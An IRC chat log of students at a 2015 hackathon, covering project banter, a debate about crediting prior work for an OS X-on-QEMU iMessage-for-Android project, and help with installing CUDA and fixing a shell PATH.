[2015-01-17T16:52:13-0500] <alokpathy> Such handwave
[2015-01-17T17:28:47-0500] <@awe> hardmath123: I believe a bit more than that.
[2015-01-17T17:28:50-0500] <@awe> Of what I say.
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[2015-01-17T18:28:25-0500] <The_Master> JacobEdelman: video chat
[2015-01-17T18:28:28-0500] <The_Master> ?
[2015-01-17T18:28:35-0500] <+JacobEdelman> The_Master: not this sec
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[2015-01-17T19:27:32-0500] <zrl> JacobEdelman: so we meet
[2015-01-17T19:27:52-0500] <+JacobEdelman> yes we do
[2015-01-17T19:27:55-0500] <+JacobEdelman> you're right next to me
[2015-01-17T19:28:01-0500] <+JacobEdelman> so natrually you are chatting on pdgn
[2015-01-17T19:30:06-0500] <@awe> Hyper: were you just listening to Thomas the Tank Engine + Bonfire and showing it to your teammate?
[2015-01-17T19:30:13-0500] <Hyper> yep
[2015-01-17T19:30:14-0500] <Hyper> :)
[2015-01-17T19:30:20-0500] <Hyper> ;)
[2015-01-17T19:30:20-0500] <@awe> Swaggy.
[2015-01-17T19:30:34-0500] <@awe> What were they doing with the horse thing?
[2015-01-17T19:30:38-0500] <Hyper> awe: https://www.youtube.com/watch?v=FzjtPtOH-Hg
[2015-01-17T19:32:42-0500] <@awe> Hyper: seriously, wat is dis horse shit
[2015-01-17T19:32:52-0500] <+JacobEdelman> awe, Hyper: zrl has won pennapps, game over
[2015-01-17T19:33:00-0500] <@awe> Why?
[2015-01-17T19:33:08-0500] <Hyper> it's a mysterrrrrrrrry but you can probably find out if you come over and ask :)
[2015-01-17T19:33:25-0500] <@awe> I don't want to move. That's like... four tables.
[2015-01-17T19:41:19-0500] <+JacobEdelman> don't bother
[2015-01-17T19:41:21-0500] <+JacobEdelman> zrl won
[2015-01-17T19:41:23-0500] <+JacobEdelman> its over
[2015-01-17T19:43:32-0500] <@awe> JacobEdelman: what did he make that you're saying he won?
[2015-01-17T19:43:42-0500] <+JacobEdelman> its like what he made last year
[2015-01-17T19:43:45-0500] <+JacobEdelman> except so much better
[2015-01-17T19:43:47-0500] <@awe> Because I know what that is.
[2015-01-17T19:43:53-0500] <+JacobEdelman> you should
[2015-01-17T19:44:04-0500] <+JacobEdelman> you can find out, just ask someone who was here last year
[2015-01-17T19:47:51-0500] <@awe> Or you could tell me?
[2015-01-17T19:52:01-0500] <@awe> JacobEdelman: so, he made an IDE?
[2015-01-17T19:52:04-0500] <@awe> JacobEdelman: again?
[2015-01-17T19:52:08-0500] <+JacobEdelman> no
[2015-01-17T19:52:12-0500] <+JacobEdelman> its much much cooler
[2015-01-17T19:52:30-0500] <+JacobEdelman> he took what he did last time
[2015-01-17T19:52:35-0500] <+JacobEdelman> to the logical and final degree
[2015-01-17T19:52:50-0500] <+JacobEdelman> his old system is now useless
[2015-01-17T19:52:54-0500] <+JacobEdelman> cause of what he made now
[2015-01-17T19:54:50-0500] <@awe> How is it similar but somehow different?
[2015-01-17T19:55:04-0500] <@awe> The logical and final extension of an IDE is still an IDE, JacobEdelman.
[2015-01-17T19:55:09-0500] <@awe> Unless it writes code for you.
[2015-01-17T19:55:53-0500] <+JacobEdelman> not
[2015-01-17T19:56:02-0500] <+JacobEdelman> he didn't quite make an ide last year
[2015-01-17T19:56:08-0500] <@awe> I just watched the video.
[2015-01-17T19:56:12-0500] <+JacobEdelman> he made an ide with a purpose
[2015-01-17T19:56:14-0500] <@awe> It's a web-based text editor, at least.
[2015-01-17T19:56:27-0500] <+JacobEdelman> no, its more
[2015-01-17T19:56:32-0500] <@awe> THEN EXPLAIN.
[2015-01-17T19:56:35-0500] <@awe> USE YOUR WORDS.
[2015-01-17T19:58:12-0500] <+JacobEdelman> it did apple things
[2015-01-17T19:58:19-0500] <+JacobEdelman> this one does much more apple things
[2015-01-17T19:58:24-0500] <Hyper> put a link in the chat so people without context can see.
[2015-01-17T19:58:28-0500] <@awe> Care to elaborate on what those things are?
[2015-01-17T19:58:36-0500] <@awe> Here's the video to last year's thing: https://www.youtube.com/watch?v=TjizJRxnUHo&feature=youtu.be&t=42m24s
[2015-01-17T19:58:52-0500] <+JacobEdelman> all apple things
[2015-01-17T19:59:36-0500] <@awe> What is an Apple thing?
[2015-01-17T19:59:43-0500] <@awe> You're not actually describing what he made.
[2015-01-17T19:59:45-0500] <@awe> You're handwaving.
[2015-01-17T19:59:54-0500] <Hyper> use real words plz
[2015-01-17T20:00:10-0500] <+JacobEdelman> it does everything that an apple computer can do
[2015-01-17T20:00:19-0500] <Hyper> that's nice
[2015-01-17T20:00:22-0500] <Hyper> so does my laptop
[2015-01-17T20:00:24-0500] <@awe> So, it's an Apple virtual machine?
[2015-01-17T20:00:31-0500] <+JacobEdelman> yup
[2015-01-17T20:00:31-0500] <@awe> Wow, that's funny because Travis-CI has been doing that for years.
[2015-01-17T20:00:35-0500] <+JacobEdelman> apple on qemu
[2015-01-17T20:00:42-0500] <+JacobEdelman> he's running macos on qemu
[2015-01-17T20:00:58-0500] <+JacobEdelman> or whatever its called (mac?)
[2015-01-17T20:01:00-0500] <@awe> OS X.
[2015-01-17T20:01:03-0500] <Hyper> http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/
[2015-01-17T20:01:07-0500] <+JacobEdelman> yeah, osx
[2015-01-17T20:01:10-0500] <+JacobEdelman> oh shush
[2015-01-17T20:01:30-0500] <@awe> It's existed for a long time.
[2015-01-17T20:01:38-0500] <@awe> Again, Travis-CI runs virtual machines with OS X.
[2015-01-17T20:01:41-0500] <Hyper> http://virtuallyfun.superglobalmegacorp.com/?p=3189
[2015-01-17T20:01:50-0500] <Hyper> like seriously
[2015-01-17T20:02:03-0500] <Hyper> I googled for "macosx on qemu"
[2015-01-17T20:02:48-0500] <Hyper> like it's totally cool
[2015-01-17T20:03:04-0500] <Hyper> but it's not new in any way
[2015-01-17T20:09:06-0500] <The_Master> JacobEdelman: video chat?
[2015-01-17T20:10:20-0500] <@awe> Hyper: it is pronounced like Matt Daemon.
[2015-01-17T20:10:34-0500] <Hyper> <3
[2015-01-17T20:11:14-0500] <@awe> Since it means daemon in the sense of a helper, not in the sense of a creature from hell that does evil things.
[2015-01-17T20:13:48-0500] <The_Master> awe: how well does your project work?
[2015-01-17T20:19:04-0500] <@awe> Well, it doesn't yet.
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[2015-01-17T20:20:07-0500] <@awe> Well, it doesn't yet.
[2015-01-17T20:20:08-0500] <@awe> JacobEdelman left just in time for his part of the code to not work.
[2015-01-17T20:20:23-0500] <+JacobEdelman> i'll be back soon
[2015-01-17T20:20:27-0500] <The_Master> he is good at that
[2015-01-17T20:27:27-0500] <Tamini_> how long is it
[2015-01-17T20:27:30-0500] <Tamini_> pennapps, that is
[2015-01-17T20:27:35-0500] <@awe> It ends tomorrow morning.
[2015-01-17T20:27:40-0500] <@awe> In roughly 13h.
[2015-01-17T20:30:27-0500] <Tamini_> ah, okay
[2015-01-17T20:30:36-0500] <Tamini_> will you be up all night with me <3
[2015-01-17T20:30:41-0500] <@awe> Probably not.
[2015-01-17T20:30:42-0500] <@awe> I dunno.
[2015-01-17T20:30:55-0500] <Tamini_> awe
[2015-01-17T20:32:54-0500] <@awe> Yes?
[2015-01-17T20:33:01-0500] <Tamini_> awh*
[2015-01-17T20:33:07-0500] <Tamini_> LOL
[2015-01-17T20:33:11-0500] <Tamini_> i wrote aw and forgot what i was trying to say
[2015-01-17T20:33:41-0500] <@awe> Oh, okay.
[2015-01-17T21:24:32-0500] <ubuntor> lockpicking is magic
[2015-01-17T21:38:15-0500] <+JacobEdelman> our hack found a burrito
[2015-01-17T21:38:17-0500] <+JacobEdelman> I am god
[2015-01-17T21:38:20-0500] <+JacobEdelman> finder of burritoes
[2015-01-17T21:38:24-0500] <+JacobEdelman> *burritos
[2015-01-17T21:38:33-0500] <+JacobEdelman> fear me
[2015-01-17T21:46:26-0500] <The_Master> JacobEdelman: it works?
[2015-01-17T21:46:30-0500] <+JacobEdelman> yes
[2015-01-17T21:46:46-0500] <+JacobEdelman> I am searching for burritoes in the music video royals by lorde
[2015-01-17T21:46:50-0500] <The_Master> is it online?
[2015-01-17T21:48:34-0500] <+JacobEdelman> not quiet yet
[2015-01-17T21:48:37-0500] <+JacobEdelman> its not fast enough 
[2015-01-17T21:48:43-0500] <+JacobEdelman> so we are putting it on an amazon ec2 server
[2015-01-17T22:02:34-0500] <LittleBobbyTables> lockpicking is easy
[2015-01-17T22:03:42-0500] <+JacobEdelman> ... that depends
[2015-01-17T22:03:45-0500] <+JacobEdelman> what kinda lock?
[2015-01-17T22:08:09-0500] <zrl> Hyper: we actually had coffee with gabriel (from the article you linked) the other day
[2015-01-17T22:08:37-0500] <zrl> getting os x running in qemu is not a new thing at all
[2015-01-17T22:08:52-0500] <zrl> but getting around apple's restrictions and running it in the way we are is something we haven't seen anyone else do
[2015-01-17T22:09:28-0500] <zrl> and something gabriel hasn't seen either
[2015-01-17T22:18:14-0500] <+JacobEdelman> zrl: what exactly does it let you do beyond that article?
[2015-01-17T22:19:02-0500] <Hyper> zrl: "running it in the way we are" - Can you be more specific?
[2015-01-17T22:19:06-0500] <zrl> for sure
[2015-01-17T22:19:19-0500] <zrl> yeah, so the biggest thing is that we're baking it into it's own ami that can super easily be launched on aws
[2015-01-17T22:19:38-0500] <zrl> which is somewhat technically difficult, but not overly, esp considering we're launching it with qemu and not directly on xen.
[2015-01-17T22:19:52-0500] <zrl> the primary component of our hack is imessage working on android
[2015-01-17T22:20:04-0500] <zrl> which is where the majority of our work is going
[2015-01-17T22:20:55-0500] <Hyper> zrl: are you basically emulating imessage on aws and forwarding the display output and inputs to/from the android phone?
[2015-01-17T22:21:49-0500] <zrl> Hyper: not forwarding the display inputs/outputs, but writing our own server that interfaces with the imessage app directly and exposes an api that the app we're writing on the phone interfaces with
[2015-01-17T22:22:02-0500] <zrl> what's cool about this is that anyone can host their own server, so users don't need to trust us with their data.
[2015-01-17T22:22:08-0500] <Hyper> ok sure
[2015-01-17T22:22:19-0500] <Hyper> you're effectively screen scraping :)
[2015-01-17T22:22:35-0500] <Hyper> (at least that's what it sounds like)
[2015-01-17T22:22:57-0500] <zrl> it's a bit more complicated than that, but yet ;)
[2015-01-17T22:23:13-0500] <Hyper> it's interesting
[2015-01-17T22:24:13-0500] <Hyper> I mean it sounds like you're basically packing up the existing osx on qemu work into a nice package and then putting some interfaces together on top of that
[2015-01-17T22:24:45-0500] <zrl> sure, yeah
[2015-01-17T22:25:01-0500] <zrl> it has it's own challenges
[2015-01-17T22:25:19-0500] <zrl> we're not doing original contributions to kvm/xen/qemu for this hack
[2015-01-17T22:25:30-0500] <Hyper> heh
[2015-01-17T22:26:44-0500] <Hyper> ok the following should be taken with the grain of salt that I like winning and I'm here too so yeah...
[2015-01-17T22:26:45-0500] <Hyper> but
[2015-01-17T22:27:33-0500] <Hyper> I feel like it's a bit disingenuous to say that you're bringing osx automation or whatever when that work has basically already been done
[2015-01-17T22:28:19-0500] <zrl> yeah, i agree
[2015-01-17T22:28:23-0500] <Hyper> it's interesting that you're doing work controlling and manipulating a running machine well enough that you can (presumably) consistiently control it
[2015-01-17T22:28:38-0500] <zrl> i think it's important that we pitch it in a way where it's clear that we're building this on a lot of prior work
[2015-01-17T22:28:44-0500] <Hyper> yeah
[2015-01-17T22:28:52-0500] <Hyper> that's basically where my beef is I guess
[2015-01-17T22:29:12-0500] <Hyper> JacobEdelman basically came up to us and was like "THIS GUY IS DOING ALL THE SHIT CHECK IT OUT OMGOMGOMG"
[2015-01-17T22:29:16-0500] <zrl> totally think that it's justified
[2015-01-17T22:29:34-0500] <Hyper> so I guess I'm looking for a bone to pick to some extent :)
[2015-01-17T22:30:06-0500] <Hyper> but it's def. a cool project
[2015-01-17T22:30:16-0500] <zrl> ah, gotcha. yeah, we should def be conscious of our pitch.
[2015-01-17T22:30:18-0500] <Hyper> I'm interested in seeing what you do with it
[2015-01-17T22:30:23-0500] <zrl> trying to find the right medium is difficult
[2015-01-17T22:30:29-0500] <+hardmath123> lol, Jacob's commit messages vs. awe's commit messages.
[2015-01-17T22:30:34-0500] <+JacobEdelman> oh god
[2015-01-17T22:30:34-0500] <+JacobEdelman> no
[2015-01-17T22:30:36-0500] <+JacobEdelman> don't look
[2015-01-17T22:30:42-0500] <zrl> Hyper: thanks! what are you hacking on?
[2015-01-17T22:30:49-0500] <+JacobEdelman> I made 3 commit messages that are "awesome stuff"
[2015-01-17T22:30:56-0500] <+hardmath123> "awesome stuff" x4, "fixed" x4, etc...
[2015-01-17T22:30:59-0500] <@awe> hardmath123: Right?
[2015-01-17T22:31:03-0500] <@awe> hardmath123: I commented on that early on.
[2015-01-17T22:31:17-0500] <Hyper> we're doing stuff to automatically spin up servers in response to load (as well as some stuff to help with other useful monitoring tasks)
[2015-01-17T22:31:20-0500] <+hardmath123> then again
[2015-01-17T22:31:32-0500] <+hardmath123> my commit messages sometimes look like "ahhhhh oh my goodness i feeeeel soooo liberateeeddd ii neeedd aa huuggg"
[2015-01-17T22:32:01-0500] <Hyper> JacobEdelman: you got a full night of sleep you have no excuse
[2015-01-17T22:32:04-0500] <zrl> Hyper: ah, interesting. how's it different than aws auto scaling?
[2015-01-17T22:32:27-0500] <Hyper> zrl: the main thing is that it puts more control (and monitoring capabilities) directly in the server owner's hands
[2015-01-17T22:32:46-0500] <Hyper> rather than just saying "Welp I hope amazon isn't scaling a bit prematurely or something to get more money off us"
[2015-01-17T22:32:49-0500] <zrl> interesting, i see how that coul dbe useful
[2015-01-17T22:32:50-0500] <Hyper> also it's fun to right
[2015-01-17T22:32:51-0500] <zrl> icic
[2015-01-17T22:32:58-0500] <Hyper> write*
[2015-01-17T22:33:03-0500] <Hyper> I had to spell that 5 times
[2015-01-17T22:33:09-0500] <Hyper> I'm clearly too tired xD
[2015-01-17T22:33:25-0500] <+JacobEdelman> i speel woorst thamnm thatt alllll the tiime
[2015-01-17T22:34:30-0500] <Hyper> plus we've got an api for sending these messages so you can effectively record your own stats with a single function call on any of your servers and have them aggregated automagically
[2015-01-17T22:35:11-0500] <Hyper> (there's a daemon running on teh server that listens on a socket for messages from our api and sends them along with the cpu/ram data that it's already collecting)
[2015-01-17T22:35:28-0500] <Hyper> and then you get pretty graphs :)
[2015-01-17T22:36:13-0500] <zrl> ah, nice!
[2015-01-17T22:36:17-0500] <Hyper> we had the daemon running on my laptop earlier and you could very clearly see the moment when I opened steam on the cpu graph xD
[2015-01-17T22:36:43-0500] <zrl> LOL
[2015-01-17T22:37:45-0500] <Hyper> also yes > /dev/null gives the graph a cool hop to 100% :)
[2015-01-17T22:44:49-0500] <Hyper> zrl: but yeah I think the main concern is that it's really easy for you to say "hey look at all this cool stuff I made [oh and I built on previous work *really quickly and quietly*]"
[2015-01-17T22:45:02-0500] <Hyper> and that's kinda... scary? I guess
[2015-01-17T22:45:05-0500] <Hyper> not the best word
[2015-01-17T22:45:07-0500] <Hyper> but like
[2015-01-17T22:45:29-0500] <Hyper> yeah
[2015-01-17T22:46:10-0500] <Hyper> the point is that it's on you to be properly honest. You seem like a decent enough guy, but I know a bunch of people who seem decent until it comes down to winning :)
[2015-01-17T22:51:33-0500] <The_Master> JacobEdelman: is it online now?
[2015-01-17T22:52:37-0500] <zrl> Hyper: yeah, totally agree. we'll try our best to communicate the wow factor while making it clear what our contribution was
[2015-01-17T23:00:22-0500] <The_Master> gnight
[2015-01-17T23:02:48-0500] <Hyper> it's certainly very cool
[2015-01-17T23:36:39-0500] <+hardmath123> Hamelin works.
[2015-01-17T23:57:11-0500] <@awe> Does anyone have experience installing CUDA?
[2015-01-17T23:57:14-0500] <@awe> ubuntor: nezorg?
[2015-01-17T23:57:19-0500] <@awe> JacobEdelman needs serious help.
[2015-01-17T23:57:21-0500] <ubuntor> ?
[2015-01-17T23:57:32-0500] <@awe> Have you done it before?
[2015-01-17T23:57:43-0500] <nezorg> i have but only on Linux
[2015-01-17T23:57:46-0500] <ubuntor> sorry, i haven't :/
[2015-01-17T23:57:46-0500] <@awe> It's on ubuntu.
[2015-01-17T23:57:49-0500] <@awe> nezorg: help him
[2015-01-17T23:57:49-0500] <ubuntor> only heard of it
[2015-01-17T23:58:01-0500] <nezorg> uh
[2015-01-17T23:58:04-0500] <nezorg> it was easy
[2015-01-17T23:58:11-0500] <+JacobEdelman> howze do I do it?
[2015-01-17T23:58:15-0500] <+JacobEdelman> I've been struggling for hours
[2015-01-17T23:58:20-0500] <+JacobEdelman> it is the last thing my team has to do
[2015-01-17T23:58:21-0500] <@awe> I'm pretty sure he doesn't have the library on path or something.
[2015-01-17T23:58:52-0500] <nezorg> idk
[2015-01-17T23:59:08-0500] <+JacobEdelman> howze DO I DO IT!
[2015-01-17T23:59:10-0500] <+JacobEdelman> please!
[2015-01-17T23:59:13-0500] <+JacobEdelman> I will do anything
[2015-01-17T23:59:19-0500] <+JacobEdelman> short of something that requires effort
[2015-01-17T23:59:21-0500] <nezorg> it worked ootb for me
[2015-01-17T23:59:23-0500] <+JacobEdelman> *much efford
[2015-01-17T23:59:26-0500] <+JacobEdelman> *effort
[2015-01-17T23:59:28-0500] <nezorg> just ran the installer
[2015-01-17T23:59:29-0500] <+JacobEdelman> meaning?
[2015-01-17T23:59:31-0500] <+JacobEdelman> what installer?
[2015-01-17T23:59:34-0500] <alokpathy>  JacobEdelman out of the box
[2015-01-17T23:59:40-0500] <nezorg> ...the cuda installer
[2015-01-17T23:59:45-0500] <+JacobEdelman> ?
[2015-01-17T23:59:49-0500] <+JacobEdelman> link me? command?
[2015-01-17T23:59:56-0500] <nezorg> the thing nvidia distributes
[2015-01-18T00:00:02-0500] <+JacobEdelman> ... link?
[2015-01-18T00:00:17-0500] <nezorg> im on mobile, lemme see if i can find it
[2015-01-18T00:00:45-0500] <+JacobEdelman> https://developer.nvidia.com/cuda-downloads ?
[2015-01-18T00:00:49-0500] <+JacobEdelman> is it the run or deb?
[2015-01-18T00:01:10-0500] <nezorg> probably either one
[2015-01-18T00:01:41-0500] <+JacobEdelman> okay
[2015-01-18T00:01:43-0500] <+JacobEdelman> lemme try
[2015-01-18T00:03:33-0500] <+JacobEdelman> that appears to be something giving you access to the cuda repo
[2015-01-18T00:03:36-0500] <+JacobEdelman> which lets you than do
[2015-01-18T00:03:41-0500] <+JacobEdelman> sudo apt-get install cuda
[2015-01-18T00:03:47-0500] <+JacobEdelman> wait
[2015-01-18T00:03:56-0500] <+JacobEdelman> is there an easy way to add some file to the path or wahtever?
[2015-01-18T00:07:46-0500] <@awe> Jacob destroyed the path.
[2015-01-18T00:08:23-0500] <alokpathy> JacobEdelman: If you're on bash, PATH=$PATH\:/whatever/; export PATH
[2015-01-18T00:15:56-0500] <bob_twinkles> or just export PATH="$PATH:/additional/path/:"
[2015-01-18T00:15:59-0500] <bob_twinkles> efficiency!
[2015-01-18T00:16:45-0500] <@awe> So, we found a community AMI that allowed us to have the library we need pre-installed.
[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
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[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:23-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:16-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
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[2015-01-18T00:16:48-0500] <@awe> This seems promising.
[2015-01-18T00:22:45-0500] <+JacobEdelman> also, using the path stuff
[2015-01-18T00:22:48-0500] <+JacobEdelman> I've gotten it
[2015-01-18T00:22:50-0500] <+JacobEdelman> maybe
[2015-01-18T00:22:59-0500] <+JacobEdelman> so we found two possible solutions simoaltenously
[2015-01-18T00:24:17-0500] <alokpathy> bob_twinkles: Just remember $PATH, otherwise you end up doing what he did apparently :P
[2015-01-18T00:37:07-0500] <bob_twinkles> lol
[2015-01-18T00:37:15-0500] <bob_twinkles> then you just /usr/bin/exec /usr/bin/bash =P
[2015-01-18T00:39:17-0500] <bob_twinkles> actually that doesn't quite work
[2015-01-18T00:39:33-0500] <bob_twinkles> proper solution is to source /etc/profile
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[2015-01-18T02:59:39-0500] <@awe> Hyper: what do you think about the idea of restarting our node server automatically every 15m?
[2015-01-18T02:59:58-0500] <Hyper> #webscale
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[2015-01-18T02:59:39-0500] <@awe> Hyper: what do you think about the idea of restarting our node server automatically every 15m?
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[2015-01-18T02:59:39-0500] <@awe> Hyper: what do you think about the idea of restarting our node server automatically every 15m?
[2015-01-18T02:59:58-0500] <Hyper> #webscale
[2015-01-18T12:45:59-0500] <The_Master> awe: how are you doing?
[2015-01-18T12:54:29-0500] <+hardmath123> i think jacob gave his hscs talk
[2015-01-18T12:54:37-0500] <+hardmath123> because i see spam in the backtick form
[2015-01-18T15:11:23-0500] <+JacobEdelman> hello
[2015-01-18T15:11:53-0500] <alokpathy> Hi
[2015-01-18T15:15:19-0500] <+Tamini> eyo
[2015-01-18T15:15:29-0500] <+Tamini> alokpathy: usaco weekend
[2015-01-18T15:15:33-0500] <+Tamini> wanna start together later?
[2015-01-18T15:15:49-0500] <alokpathy> Tamini: I did it on Friday lol
[2015-01-18T15:15:53-0500] <+Tamini> ugh you loser
[2015-01-18T15:15:57-0500] <+Tamini> does it go friday->monday
